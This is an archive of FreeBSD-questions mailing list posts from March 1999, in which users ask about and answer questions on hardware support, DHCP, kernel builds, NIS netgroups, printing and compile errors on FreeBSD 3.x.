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From owner-freebsd-questions  Sun Mar 21  9:30:27 1999
Delivered-To: freebsd-questions@freebsd.org
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From: naddy@mips.rhein-neckar.de (Christian Weisgerber)
Subject: Re: decstation 5000?
Date: 21 Mar 1999 18:27:42 +0100
Message-ID: <7d3a6e$81i$1@mips.rhein-neckar.de>
References: <36F3BB34.B1831ABE@wrkhors.com>
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Steven Lembark <lembark@wrkhors.com> wrote:

> no mention of MIPS hardware in the list of supported items
> of 3.0 release notes.

Indeed. Currently FreeBSD only supports the x86 and alpha platforms.

> any idea if the cd will work with a decstation-5000/200?

It will not.
If you're looking for DECstation support, check out NetBSD.

-- 
Christian "naddy" Weisgerber                  naddy@mips.rhein-neckar.de
    100+ SF Book Reviews: <URL:http://home.pages.de/~naddy/reviews/>



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From owner-freebsd-questions  Sun Mar 21  9:31: 6 1999
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To: Stavros Patiniotis <stavros@esc.net.au>
Cc: Anton Berezin <tobez@plab.ku.dk>,
	FreeBSD Questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: Installing 3.1 #2
References: <Pine.BSI.4.02.9903211306160.24061-100000@bang.esc.net.au>
From: Anton Berezin <tobez@plab.ku.dk>
Date: 21 Mar 1999 18:30:11 +0100
In-Reply-To: Stavros Patiniotis's message of Sun, 21 Mar 1999 13:19:12 +1030 (CST)
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Stavros Patiniotis <stavros@esc.net.au> writes:

>> Is the partition on which FreeBSD resides marked as ``active'' in
>> MBR?  ``Missing operating system'' may indicate that ``active''
>> flag is set to an empty/unused partition or is not set at all.

> Ok, I did this, and the partition was not marked as active.  I have
> now set it to active, and upon rebooting, it didn't work (didn't
> boot).  I checked the configuration, and it was still set as active
> (on PARTITION 1).

> How do we know which PARTITION to make active? (When I setup the
> disk I only made one partition with FreeBSD taking up the whole
> thing)

Can you provide us with the output of fdisk da0?  It is difficult to
say anything specific without actually seeing this.

Oh!  BTW, can it be that you have any IDE devices as a master?  Disks,
CD-ROMs, whatever?
  
> Oh if I boot using the fixit disk, and set the boot drive as
> 0:da(0,a)/kernel all works ok

Of course, as it should.

-- 
Anton Berezin <tobez@plab.ku.dk>
The Protein Laboratory, University of Copenhagen


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From owner-freebsd-questions  Sun Mar 21  9:34:54 1999
Delivered-To: freebsd-questions@freebsd.org
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From: Keith Leonard <root@myplace.org>
Message-Id: <199903211234.MAA00180@myplace.org>
Subject: Reason to Upgrade...
To: questions@freebsd.org
Date: Sun, 21 Mar 1999 12:34:24 +0000 ()
Reply-To: climacus@bellsouth.net
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Howdy,

I'm not on this mailing list so respond directly (thanks).

I've read the FAQ, Handbook and Release notes...but what would my
real reason be to upgrade from 2.1.5 which has given me NO trouble.


Keith
----------------------------------------------------------------
Help save Tibet - Boycott Chinese Goods http://www.savetibet.org 
----------------------------------------------------------------
If ignorance is bliss, why are there so many unhappy people?


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From owner-freebsd-questions  Sun Mar 21  9:36:40 1999
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Subject: anybody using N440BX Server Board  ????
Message-ID: <Pine.BSF.4.05.9903211934110.9454-100000@localhost>
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hello,

is there anybody using intel N440BX Server Board ?
there in the intel pages, it says that the board has
Symbios* Logic 53C876 Dual Channel Ultra(one wide, one narrow)
controller, in the FreeBSD 3.1-RELEASE notes there it mentions about

SymBios (formerly NCR) 53C810, 53C810a, 53C815, 53C820, 53C825a,
53C860, 53C875, 53C875j, 53C885, 53C895 and 53C896 PCI SCSI controllers:
        Symbios cards (all)


it says symbios cards all? so it supports 53C876 too???

Evren
yurtesen@ispro.net.tr
thanks 





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From owner-freebsd-questions  Sun Mar 21  9:36:43 1999
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Date: Sun, 21 Mar 1999 10:36:13 -0700 (MST)
From: Larry Berland <stuyman@euphoria.confusion.net>
To: questions@freebsd.org
Subject: Dynamically assigned IP addresses
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What is the best way of setting a server up to dynamically assign IP
addresses to windows machines.  Is there a similar way to do this with a
freebsd client?

Laurence Berland



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From owner-freebsd-questions  Sun Mar 21  9:47:22 1999
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Subject: Re: Reason to Upgrade...
In-Reply-To: Your message of "Sun, 21 Mar 1999 12:34:24 +0000 ()"
	<199903211234.MAA00180@myplace.org>
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From: Keith Leonard <root@myplace.org>
Subject: Reason to Upgrade...
Date: Sun, 21 Mar 1999 12:34:24 +0000 ()

> 
> I've read the FAQ, Handbook and Release notes...but what would my
> real reason be to upgrade from 2.1.5 which has given me NO trouble.

To benefit from the bug/security fixes which have been incorporated
since then, to benefit from major enhancements like softupdates and
to be able to use the latest software from the ports tree and 
elsewhere.

Cheers,

Jerry Hicks
wghicks@bellsouth.net


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From owner-freebsd-questions  Sun Mar 21  9:49:50 1999
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From: "Jesus Rodriguez" <jesusr@ncsa.es>
To: "Larry Berland" <stuyman@euphoria.confusion.net>,
	<questions@FreeBSD.ORG>
Subject: RE: Dynamically assigned IP addresses
Date: Sun, 21 Mar 1999 18:49:41 +0100
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>What is the best way of setting a server up to dynamically assign IP
>addresses to windows machines.  Is there a similar way to do this with
a
>freebsd client?

You can use DHCP... it works with Windows, Unix, etc.

Look at ports collection or packages for the software.

For information about DHCP, look at http://www.isc.org/dhcp.html

JesusR.




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From owner-freebsd-questions  Sun Mar 21  9:54:32 1999
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Date: Sun, 21 Mar 1999 10:54:00 -0700
To: W Gerald Hicks <wghicks@bellsouth.net>
From: Brett Glass <brett@lariat.org>
Subject: Re: Use of FreeBSD-STABLE (was: Oddity in name resolution)
Cc: grog@lemis.com, questions@FreeBSD.ORG
In-Reply-To: <19990320220216M.wghicks@wghicks.bellsouth.net>
References: <Your message of "Fri, 19 Mar 1999 23:07:31 -0700"<4.1.19990319230014.03f4e680@localhost>
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At 10:02 PM 3/20/99 -0500, W Gerald Hicks wrote:
 
>Watching releng3.freebsd.org to see when snapshots are available
>seems to be a good indicator as well.

Well, if the "snapshots" are made of particularly good -STABLE builds 
with which users have had good success, they might be worth looking at.
The thing is, we can't play "-STABLE roulette." Anything we install
must have been broken in and well tested as an entire build. That's
just a basic requirement for any software we put on a production machine.

--Brett



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From owner-freebsd-questions  Sun Mar 21  9:57:36 1999
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Date: Sun, 21 Mar 1999 11:57:05 -0600
From: Bob Willcox <bob@luke.pmr.com>
To: questions list <freebsd-questions@freebsd.org>
Subject: doscmd and formatting floppies?
Message-ID: <19990321115705.A32257@luke.pmr.com>
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Is formatting of floppy disks supposed to work under doscmd?  When I
attempt it I get an error from the DOS format command complaining about
invalid media or track 0 is bad (neither is actually true).

I am running FreeBSD 3.1-stable (as of Mar 19th).

Thanks,
Bob

-- 
Bob Willcox             The man who follows the crowd will usually get no
bob@luke.pmr.com        further than the crowd.  The man who walks alone is
Austin, TX              likely to find himself in places no one has ever
                        been.            -- Alan Ashley-Pitt


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From owner-freebsd-questions  Sun Mar 21 10: 8:14 1999
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Date: Sun, 21 Mar 1999 13:08:34 -0500
From: Ken R <nethdnd@mis.net>
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Hello,

    I've been having problems with make world.  I looked up some old
posts to fix one problem (a bus error) but now even after
' cd /usr/obj; chflags -R 0 . ; rm -rf *;'  and ' cd /usr/src; make
clean; make clean'. when I run 'make build world' it runs for about an
hour and then terminates with an out of memory error.

My system is a Tekram P5MVP-A4 with the VIA MVP3 chipset, and an
AMD K6-2/350.  It has 80mb of 60ns EDO ram, and freeBSD has a 2.0 gig
partition.  I have set 169mb for the swap drive.  I'm running FreeBSD
3.0-Release that was installed from a Cheapbyes CD, and I've run cvsup
with the RELENG_3 tag.

Is there anything I've done wrong that makes it run out of memory?  Or
is my system just not capable or running the make world?

Thanks

Ken R



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From owner-freebsd-questions  Sun Mar 21 10:28:43 1999
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Date: Sun, 21 Mar 1999 13:29:11 -0500
From: pete collins <pete@postpagan.com>
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i am using the print filter i compiled from the cd rom
/books/scripts/lpfilter.c

i have an HP 5P lazerjet printer

if i send
lptest | lpr
to the printer it prints out fine

however if i try
cat myfile | lpr
the light blinks but nothing prints

then if i try
lptest | lpr
it prints myfile and the lptest stuff

it seems the printer is not ejecting the last page
so the later stuff comes up on the lptest

and it seems the only way i can force the printer to print
is with lptest

also if i try to print a web page from netscape
it prints out the postscript in ascii format

am i using the correct print filter?

thanks

pete




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From owner-freebsd-questions  Sun Mar 21 11: 2: 8 1999
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Date: Sun, 21 Mar 1999 11:01:43 -0800
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I'm running FreeBSD 3.1 and I recently purchased a  ActionTec modem
card (because it's specifically listed in the /etc/pccard.conf file in 
the distribution).  I noticed that the pccard.conf file configures it
as IRQ 10 and my 3Com ethernet card uses IRQ 10, so I tried changing
it to IRQ 15.  It didn't work.  When I open the device, the kernel
hangs!

Finally, I got the kernel to not hang by removing the "ep0" ethernet
device driver entirely and letting the modem use IRQ 10, but even then 
I can't talk to the card using tip.  It's configured as "sio2" so I've 
been talking to it using /dev/cuaa2, but no matter what I type I don't 
get anything from the card ("AT" gives no response).

I'm at a loss.  Can someone tell me what type of PCMCIA modem card
*does* work under FreeBSD 3.1 or what I'm doing wrong with this one?
(I searched through the list archives and didn't see anything
addressing this.)

Any help at all would be greatly appreciated.  Please reply directly
to me and I'll summarize for the list is there's interest.

/raj


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From owner-freebsd-questions  Sun Mar 21 11:18:29 1999
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To: freebsd-questions@freebsd.org
Subject: Why are NIS netgroups  ignored...
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I administrate a lab of about 80 machines running BSD and Digital UNIX.  To
make our lives easier, we run NIS.  However, I can't get FreeBSD to acknowledge
NIS netgroups in config files, specifically .rhosts or /etc/login.access.  NIS
does work in that people can login using their NIS accounts without any
problem, thus /etc/passwd handles netgroups fine.  I've also written a simple
program that calls innetgr() to see if I am in the admins netgroup (which I am)
and it works.  However, the following lines in /etc/login.access don't work
(the intention is for admins to be able to login from anywhere, consultants
(lab workers in netgroup consult) to be able to login remotely only, and nobody
else to be able to login)

+:@admins:ALL
+:@consult:ALL EXCEPT LOCAL
-:ALL:ALL

I also tried these two lines but they didn't work either:

-:ALL EXCEPT @admins:LOCAL
-:ALL EXCEPT @consult:ALL

Is this a known problem?  Is there any workaround (other than duplicating all
of the netgroups in local groups in /etc/group, which rather defeats the
purpose of netgroups)?

We used to disable logins via the following lines in /etc/passwd (which DID
work):

+@consult::::::::
+::::::::/sbin/nlogin

but that breaks some things (such as using pipelines like procmail in .forward
files).  Any help or advice appreciated.

---

John Baldwin <jobaldwi@vt.edu> -- http://members.freedomnet.com/~jbaldwin/
PGP Key: http://members.freedomnet.com/~jbaldwin/pgpkey.asc



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From owner-freebsd-questions  Sun Mar 21 11:33:34 1999
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          Mon, 22 Mar 1999 07:34:10 +1200
From: "Dan Langille" <junkmale@xtra.co.nz>
Organization: The FreeBSD Diary
To: Jeroen Ruigrok/Asmodai <asmodai@wxs.nl>
Date: Mon, 22 Mar 1999 07:33:19 +1200
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Subject: RE: upgrade to 3.1-stable gives 3.1-release
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On 21 Mar 99, at 9:36, Jeroen Ruigrok/Asmodai wrote:

> On 20-Mar-99 Dan Langille wrote:
> > I've made four attempts to upgrade a box from 3.1-release to 3.1-stable. 
> > Everytime it's worked.  Or at least, it's not resulted in any error 
> > messages.  However, I don't think it's upgraded because "uname -a" still 
> > displays 3.1-RELEASE.
> 
> Correct, AFAIK it should display 3.1-STABLE.
>  
> And knowing that yer rsync ain't working, I can only say: cvsup ;)

Well, this was getting to be a matter of principle.  <grin>

The problem was that I was not updating the src distributions.  Once I did 
that and created a new kernel, the version was updated.  It was either you 
or Jim that suggested this last night on the Undernet #FreeBSD IRC 
channel.  Thanks.

$ uname -a
FreeBSD kennett.freebsddiary.cx 3.1-19990318-STABLE FreeBSD 3.1-19990318-
STABLE #3: Thu Mar 18 09:03:30 NZDT 1999     
root@kennett.freebsddiary.cx:/usr/src/sys/compile/KENNETT  i386

--
Dan Langille
The FreeBSD Diary
http://www.FreeBSDDiary.com/freebsd


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From owner-freebsd-questions  Sun Mar 21 11:36:11 1999
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From: "Christopher J. Michaels" <cjm2@earthling.net>
To: "'Khetan Gajjar'" <khetan@os.org.za>
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Subject: RE: unable to use cdrecord on an ATAPI CD-R under 2.2.8.
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I does support atapi cd-r's, some that is.  I did read up on this ahead of
time, it turns out to be a problem with my specific cdr.

-----Original Message-----
From: Khetan Gajjar [mailto:khetan@chain.freebsd.os.org.za]
Sent: Saturday, March 20, 1999 5:55 PM
To: Christopher J. Michaels
Cc: FreeBSD Mailing List (E-mail)
Subject: Re: unable to use cdrecord on an ATAPI CD-R under 2.2.8.


Around Yesterday, "Christopher J. Michaels" wrote :

CJM>  	Cdrecord release 1.6.1 Copyright (C) 1995-1998 Jörg Schilling
CJM>  	cdrecord: No such file or directory. Cannot open SCSI driver.

cdrecord (afaik) supports SCSI only.

Why don't you try cd-write ?
---
Khetan Gajjar       (!kg1779) * khetan@os.org.za
http://www.os.org.za/~khetan  * Talk/Finger khetan@chain.freebsd.os.org.za
FreeBSD enthusiast            * http://www2.za.freebsd.org/
Security-wise, NT is a OS with a "kick me" sign taped to it



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From owner-freebsd-questions  Sun Mar 21 11:41:33 1999
Delivered-To: freebsd-questions@freebsd.org
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From: "Dan Langille" <junkmale@xtra.co.nz>
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Subject: uname -a
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uname -a gives the following on one of my machines:

FreeBSD kennett.freebsddiary.cx 3.1-19990318-STABLE FreeBSD 3.1-19990318-
STABLE #3: Thu Mar 18 09:03:30 NZDT 1999     
root@kennett.freebsddiary.cx:/usr/src/sys/compile/KENNETT  i386


By looking at man uname, I can see that "3.1-19990318-STABLE" is the 
current release (uname -r).

uname -v gives this:

FreeBSD 3.1-19990318-STABLE #3: Thu Mar 18 09:03:30 NZDT 1999     
root@kennett.freebsddiary.cx:/usr/src/sys/compile/KENNETT

In the above is the name of the user that compiled the kernel and the name 
of the kernel.

But what's that #3?  On another machine I get "FreeBSD 3.1-STABLE #0: Wed 
Mar  3 21:11:33 NZDT 1999" which is just another snapshot of -stable as 
far as I can tell.

What does the #n denote?

--
Dan Langille
The FreeBSD Diary
http://www.FreeBSDDiary.com/freebsd


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From owner-freebsd-questions  Sun Mar 21 12:12:15 1999
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Subject: Re: uname -a
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On Mon, 22 Mar 1999, Dan Langille wrote:

> uname -a gives the following on one of my machines:
> 
> FreeBSD kennett.freebsddiary.cx 3.1-19990318-STABLE FreeBSD 3.1-19990318-
> STABLE #3: Thu Mar 18 09:03:30 NZDT 1999     
> root@kennett.freebsddiary.cx:/usr/src/sys/compile/KENNETT  i386
> 
> 
> By looking at man uname, I can see that "3.1-19990318-STABLE" is the 
> current release (uname -r).
> 
> uname -v gives this:
> 
> FreeBSD 3.1-19990318-STABLE #3: Thu Mar 18 09:03:30 NZDT 1999     
> root@kennett.freebsddiary.cx:/usr/src/sys/compile/KENNETT
> 
> In the above is the name of the user that compiled the kernel and the name 
> of the kernel.
> 
> But what's that #3?  On another machine I get "FreeBSD 3.1-STABLE #0: Wed 
> Mar  3 21:11:33 NZDT 1999" which is just another snapshot of -stable as 
> far as I can tell.
> 
> What does the #n denote?
> 

How many times you have compiled this kernel. 

> --
> Dan Langille
> The FreeBSD Diary
> http://www.FreeBSDDiary.com/freebsd
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 
> 


	-Spike Gronim
	 sporkl@ix.netcom.com	
	 Finger gronimw@shell.stuy.edu for PGP public key.

		The majority only rules those who let them. 



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From owner-freebsd-questions  Sun Mar 21 12:27:51 1999
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Date: Sun, 21 Mar 1999 22:27:28 +0200
From: Vallo Kallaste <vallo@matti.ee>
To: Dan Langille <junkmale@xtra.co.nz>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: uname -a
Reply-To: vallo@matti.ee
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On Sun, Mar 21, 1999 at 03:08:06PM -0500, Spike <spork@startrekmail.com> wrote:

> > But what's that #3?  On another machine I get "FreeBSD 3.1-STABLE #0: Wed 
> > Mar  3 21:11:33 NZDT 1999" which is just another snapshot of -stable as 
> > far as I can tell.
> > 
> > What does the #n denote?
> > 
> 
> How many times you have compiled this kernel. 

Without cleaning up the kernel compile directory, right?
-- 

Vallo Kallaste
vallo@matti.ee


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From owner-freebsd-questions  Sun Mar 21 12:49: 7 1999
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Date: Sun, 21 Mar 1999 21:48:23 +0100
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Subject: lpt0 -> nlpt0
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Hi!

I switched to the new ppp-driven port for my printer but I don't seem to
get it to work properly:

I've compiled a new kernel with ppbus support turned on, device nlpt0. I
tried to MAKEDEV nlpt0 (with the new script from /usr/src/etc/rc.i386):
nlpt0 - no such device name

I also tried a kernel with both lpt0 and nlpt0 compiled in, but it didn't
work, either:
nlpt0 because it simply doesn't exist, and lpt0: device not configured....

What's to do to get the printer to work again? :)

thanks a lot in advance


ciao,
	Flo


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From owner-freebsd-questions  Sun Mar 21 13:13:55 1999
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 21 Mar 1999 16:12:26 -0500 (EST)
Date: Sun, 21 Mar 1999 16:11:24 -0500
From: Malartre <malartre@videotron.ca>
Subject: Going crazy with DHCP: FreeBSD won't install
To: freebsd-questions@freebsd.org
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I'm starting to hate cable modem...
As my 2.2.8 FreeBSD box was messed up, I decided to do a backup on my
dos partition and reinstall the beast(3.1-RELEASE). I have
Win95+Motorola CyberSURFR Wave(cable modem)+Ethernet card (SMC EtherEZ
(8416), PnP disabled) which seem to be a NE2000 clone. I was never
successful with DHCP before the reinstallation...

Under Win95, I run the "winipcfg.exe" program:
Host Name: DEFAULT.videotron.caDEST
DNS Servers: 205.151.222.250
Node Type: Broadcast
...
IP Adress: 216.113.2.59
Subnet Mask: 255.255.255.0
Default Gateway: 216.113.2.1
DHCP Server: 199.84.251.5

With the two boot disk, I reboot and start the installation.
I use ed0 has my ethernet.
Then, I put all those information in the ed0 config (but not the "DHCP
Server", since there are no field for that one, and I use "foo.qc.ca"
has the host name)
Passive or not, ftp do not work.
...
Any tips?
Malartre <malartre@videotron.ca>


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From owner-freebsd-questions  Sun Mar 21 13:16:17 1999
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Date: Sun, 21 Mar 1999 23:15:36 +0200 (SAST)
From: Khetan Gajjar <khetan@chain.freebsd.os.org.za>
Reply-To: Khetan Gajjar <khetan@os.org.za>
To: "Christopher J. Michaels" <cjm2@earthling.net>
Cc: "'FreeBSD Mailing List (E-mail)'" <questions@FreeBSD.ORG>
Subject: RE: unable to use cdrecord on an ATAPI CD-R under 2.2.8.
In-Reply-To: <000d01be73d1$ed183ba0$0a00000a@maxpower.weeble.nws.net>
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Around Today, "Christopher J. Michaels" wrote :

CJM>  I does support atapi cd-r's, some that is.  I did read up on this ahead of
CJM>  time, it turns out to be a problem with my specific cdr.

Apologies. Thought it only did SCSI :-(

It's a nice program, but it would be nicer if there was a GUI in front of
it ala X-CD-Roast (which is Linux-only atm). I'm not going to complain too loudly,
because I a) don't have time to code a front end and b) don't know enough
to code one :)

I believe jmz@freebsd.org is working on an updated cd-write, which should
work for more writers, and has the benefit of having a GUI.
---
Khetan Gajjar       (!kg1779) * khetan@os.org.za
http://www.os.org.za/~khetan  * Talk/Finger khetan@chain.freebsd.os.org.za
FreeBSD enthusiast            * http://www2.za.freebsd.org/
Security-wise, NT is a OS with a "kick me" sign taped to it

Reference : <000d01be73d1$ed183ba0$0a00000a@maxpower.weeble.nws.net> 
Date      : Mar 21, 1999, 2:35pm



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From owner-freebsd-questions  Sun Mar 21 13:24:54 1999
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Message-Id: <199903212124.QAA05271@cc942873-a.ewndsr1.nj.home.com>
Subject: Re: Why are NIS netgroups  ignored...
In-Reply-To: <XFMail.990321141805.jobaldwi@vt.edu> from John Baldwin at "Mar 21, 99 02:18:05 pm"
To: jobaldwi@vt.edu (John Baldwin)
Date: Sun, 21 Mar 1999 16:24:32 -0500 (EST)
Cc: freebsd-questions@FreeBSD.ORG
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John Baldwin wrote,
> I administrate a lab of about 80 machines running BSD and Digital UNIX.  To
> make our lives easier, we run NIS.  However, I can't get FreeBSD to acknowledge
> NIS netgroups in config files, specifically .rhosts or
/etc/login.access.

Have you read the FreeBSD manpage for 'netgroup?' Specifically, the
'NIS/YP INTERACTION' section?
-- 
Crist J. Clark                           cjclark@home.com


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From owner-freebsd-questions  Sun Mar 21 13:27: 9 1999
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Subject: more fstab entries please...
To: freebsd-questions@freebsd.org
Date: Sun, 21 Mar 1999 21:27:11 GMT
Message-ID: <OF1E7F7E0F.96B14E8F-ON8625673B.0074D91C@lotus.com>
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Could someone...anyone who this applies to...please sent me a copy of their
fstab entries with an
internal IOMEGA IDE zip drive supported.  FreeSD still won't use mine (but
it is recognized upon
bootup).  Someone sent to me a copy of theirs last week, but I still
couldn't get the zip drive to work.
I ONLY have FreeBSD on this disk...no other OS. I am trying to get the
mount /zip command line to
work.

PS - maybe I'm using the wrong command line, but I've also tried mount
/wfd0, and
mount /dev/wfd0 /zip.



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From owner-freebsd-questions  Sun Mar 21 13:27: 9 1999
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Subject: kernel sound support
To: freebsd-questions@freebsd.org
Date: Sun, 21 Mar 1999 21:16:32 GMT
Message-ID: <OF0F72F69A.0C996516-ON8625673B.00737D71@lotus.com>
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FreeBSD (3.1) does not want to recognize my SB AWE64 card.

I know (from previous compilations of kernels) that my sb0 has to be set to
irq 5 w/DMA channel 6.
However, whenever I try to implement this in the kernel, the card is not
found after rebooting.
I already cd'd to /dev and typed sh MAKEDEV snd0.

I added the device sb0, sbvxi0, sbmidi0, and opl0 entries (with options of
"SBC_IRQ=5", and
"SB16_DMA=6"--this is the config I used from previous FreeBSD 2.2.x
compiles).  After
saving the configuration, and typing /usr/sbin/config MYKERNALNAME...I get
"unknown
option SBC_IRQ=5" and "unknown option "SB16_DMA=6", but I could continue
with
../../compile/MYKERNALNAME (and possibly with a make depend, make and make
install,
but I didn't bother trying this due to the above error).  I added
parenthesis around
(i.e. options "SBC_IRQ=5")...same error.

Does anyone know why this is happening...and/or does anyone have a
suggested configurations
for the SB AWE64 sound card?

PS - Also, is it a good idea to add the awe0 line the kermel?



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From owner-freebsd-questions  Sun Mar 21 13:27:11 1999
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Subject: where is the daemon art man?
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Anyone have some FreeBSD daemon art that they wouldn't mind sharing with
me?  I'd love
to have those jpegs considered when I set my wallpaper in KDE.



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From owner-freebsd-questions  Sun Mar 21 13:48:12 1999
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Date: Mon, 22 Mar 1999 08:46:05 +1100
From: Jim Mock <jim@corp.au.triax.com>
To: "Steven P. Donegan" <donegan@quick.net>
Cc: questions@FreeBSD.ORG
Subject: Re: Majordomo
Message-ID: <19990322084604.A18138@corp.au.triax.com>
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[followed up to -questions, this doesn't really belong on -ports]

On Sun, 21 Mar 1999 at 10:02:03 -0800, Steven P. Donegan wrote:
> If anyone has experience with setting up Majordomo please help - I
> can subscribe to the new list, and it seemingly accepts a test
> posting, but doesn't send it back out as it should. TIA.
>

There's an article in this month's FreeBSD 'zine about installing and
setting up majordomo.. http://www.freebsdzine.org/

-- 
Jim Mock  System Administrator  jim@corp.au.triax.com  ,-._|\  FreeBSD
work:  Triax Internet Services  http://www.triax.com/ /      \ The
personal:  http://www.triax.com/~jim/                 \_,--._/ Power To
The FreeBSD 'zine  http://www.freebsdzine.org/              v  Serve!


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From owner-freebsd-questions  Sun Mar 21 14: 8:16 1999
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Message-ID: <36F56D78.AD4DE12B@confusion.net>
Date: Sun, 21 Mar 1999 17:06:48 -0500
From: Laurence Berland <stuyman@confusion.net>
Organization: B.R.A.T.T.
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Any idea when this is gonna be in the ports collection instead of 8.1.2?

--
Laurence Berland, Stuyvesant HS Debate
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

Windows 98: n.
        useless extension to a minor patch release for
        32-bit extensions and a graphical shell for a
        16-bit patch to an 8-bit operating system
        originally coded for a 4-bit microprocessor,
        written by a 2-bit company that can't stand for
        1 bit of competition.
http://stuy.debate.net
icq #7434346                    aol imer E1101




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From owner-freebsd-questions  Sun Mar 21 14:25:21 1999
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Reply-To: neillt@coastalnet.com
To: questions@FreeBSD.ORG
Subject: Re: PCMCIA modem card problems
Date: Mon, 22 Mar 1999 07:22:43 +0900
X-Mailer: KMail [version 1.0.17]
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On Mon, 22 Mar 1999, Richard Johnson wrote:
> I'm running FreeBSD 3.1 and I recently purchased a  ActionTec modem
> card (because it's specifically listed in the /etc/pccard.conf file in 
> the distribution).  I noticed that the pccard.conf file configures it
> as IRQ 10 and my 3Com ethernet card uses IRQ 10, so I tried changing
> it to IRQ 15.  It didn't work.  When I open the device, the kernel
> hangs!

I had the exact same problem with my CTX Notebook.... the thread was
running on the -mobile list about a week ago.  I was pulling my hair out. 
It turns out my ActionTec modem was the culprit.

> Finally, I got the kernel to not hang by removing the "ep0" ethernet
> device driver entirely and letting the modem use IRQ 10, but even then 
> I can't talk to the card using tip.  It's configured as "sio2" so I've 
> been talking to it using /dev/cuaa2, but no matter what I type I don't 
> get anything from the card ("AT" gives no response).

I never even got that far with it.
 
> I'm at a loss.  Can someone tell me what type of PCMCIA modem card
> *does* work under FreeBSD 3.1 or what I'm doing wrong with this one?
> (I searched through the list archives and didn't see anything
> addressing this.)

I swapped my ActionTec out for a Xircom.  It works great now!  (It's a
Xircom CreditCard Modem CM56-T).

Let me know if you need kernel / pccard config files....

Neill

---
HN Neill Thornton, USN                 Go Navy!!   
1st Battalion, 8th Marines Battalion Aid Station
neillt@marinemwr.or.jp  /  neillt@coastalnet.com
Powered by FreeBSD...  see how @ www.freebsd.org



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From owner-freebsd-questions  Sun Mar 21 14:25:28 1999
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Reply-To: neillt@coastalnet.com
To: questions@FreeBSD.ORG
Subject: Re: PCMCIA modem card problems
Date: Mon, 22 Mar 1999 07:29:01 +0900
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On Mon, 22 Mar 1999, Richard Johnson wrote:
> I'm running FreeBSD 3.1 and I recently purchased a  ActionTec modem
> card (because it's specifically listed in the /etc/pccard.conf file in 
> the distribution).  I noticed that the pccard.conf file configures it
> as IRQ 10 and my 3Com ethernet card uses IRQ 10, so I tried changing
> it to IRQ 15.  It didn't work.  When I open the device, the kernel
> hangs!

I had the exact same problem with my CTX Notebook.... the thread was
running on the -mobile list about a week ago.  I was pulling my hair out. 
It turns out my ActionTec modem was the culprit.

> Finally, I got the kernel to not hang by removing the "ep0" ethernet
> device driver entirely and letting the modem use IRQ 10, but even then 
> I can't talk to the card using tip.  It's configured as "sio2" so I've 
> been talking to it using /dev/cuaa2, but no matter what I type I don't 
> get anything from the card ("AT" gives no response).

I never even got that far with it.
 
> I'm at a loss.  Can someone tell me what type of PCMCIA modem card
> *does* work under FreeBSD 3.1 or what I'm doing wrong with this one?
> (I searched through the list archives and didn't see anything
> addressing this.)

I swapped my ActionTec out for a Xircom.  It works great now!  (It's a
Xircom CreditCard Modem CM56-T).

Let me know if you need kernel / pccard config files....

Neill

---
HN Neill Thornton, USN                 Go Navy!!   
1st Battalion, 8th Marines Battalion Aid Station
neillt@marinemwr.or.jp  /  neillt@coastalnet.com
Powered by FreeBSD...  see how @ www.freebsd.org



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From owner-freebsd-questions  Sun Mar 21 14:33: 8 1999
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Date: Sun, 21 Mar 1999 17:32:46 -0500 (EST)
From: John Baldwin <jobaldwi@vt.edu>
To: cjclark@home.com
Subject: Re: Why are NIS netgroups  ignored...
Cc: freebsd-questions@FreeBSD.ORG, (John Baldwin) <jobaldwi@vt.edu>
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On 21-Mar-99 Crist J. Clark wrote:
> John Baldwin wrote,
>> I administrate a lab of about 80 machines running BSD and Digital UNIX.  To
>> make our lives easier, we run NIS.  However, I can't get FreeBSD to
>> acknowledge
>> NIS netgroups in config files, specifically .rhosts or
> /etc/login.access.
> 
> Have you read the FreeBSD manpage for 'netgroup?' Specifically, the
> 'NIS/YP INTERACTION' section?
> -- 
> Crist J. Clark                           cjclark@home.com

Yes, and there is no /etc/netgroup file on the machine, so it should be pulling
all netgroup stuff from NIS, if I read the manpages correctly.  Thanks for your
response.

---

John Baldwin <jobaldwi@vt.edu> -- http://members.freedomnet.com/~jbaldwin/
PGP Key: http://members.freedomnet.com/~jbaldwin/pgpkey.asc



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From owner-freebsd-questions  Sun Mar 21 14:35:19 1999
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	Sun, 21 Mar 1999 22:34:50 GMT
Message-ID: <36F5740A.2475EED7@tdx.co.uk>
Date: Sun, 21 Mar 1999 22:34:50 +0000
From: Karl Pielorz <kpielorz@tdx.co.uk>
Organization: TDX - The Digital eXchange
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To: Laurence Berland <stuyman@confusion.net>
Cc: questions@FreeBSD.ORG
Subject: Re: Bind 8.2
References: <36F56D78.AD4DE12B@confusion.net>
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Laurence Berland wrote:
> 
> Any idea when this is gonna be in the ports collection instead of 8.1.2?

Try asking the maintainer of the port!? :) ... Bind 8.2 compiles cleanly on
FreeBSD if you want to give it a go! :-)

-Kp


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From owner-freebsd-questions  Sun Mar 21 14:37:18 1999
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Date: Sun, 21 Mar 1999 17:36:12 -0500 (EST)
From: Patrick Seal <patseal@hyperhost.net>
To: freebsd-questions@FreeBSD.ORG
Subject: /usr/include/sys/socket.h errors
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I'm tried to compile gdict, but I keep getting errors about socket.h and
inet.h

gcc -Wall -O2 `gtk-config --cflags` `gtk-config --libs` gdict.c -o gdict
In file included from gdict.c:15:
/usr/include/sys/socket.h:139: parse error before `u_char'
/usr/include/sys/socket.h:139: warning: no semicolon at end of struct or
union
/usr/include/sys/socket.h:140: warning: data definition has no type or
storage class
/usr/include/sys/socket.h:142: parse error before `}'
/usr/include/sys/socket.h:150: parse error before `u_short'
/usr/include/sys/socket.h:150: warning: no semicolon at end of struct or
union
/usr/include/sys/socket.h:151: warning: data definition has no type or
storage class
/usr/include/sys/socket.h:266: parse error before `caddr_t'
/usr/include/sys/socket.h:266: warning: no semicolon at end of struct or
union
/usr/include/sys/socket.h:267: warning: data definition has no type or
storage class
/usr/include/sys/socket.h:269: parse error before `msg_iovlen'
/usr/include/sys/socket.h:269: warning: data definition has no type or
storage class
/usr/include/sys/socket.h:270: parse error before `msg_control'
/usr/include/sys/socket.h:270: warning: data definition has no type or
storage class
/usr/include/sys/socket.h:271: parse error before `msg_controllen'
/usr/include/sys/socket.h:271: warning: data definition has no type or
storage class
/usr/include/sys/socket.h:273: parse error before `}'
/usr/include/sys/socket.h:293: parse error before `u_int'
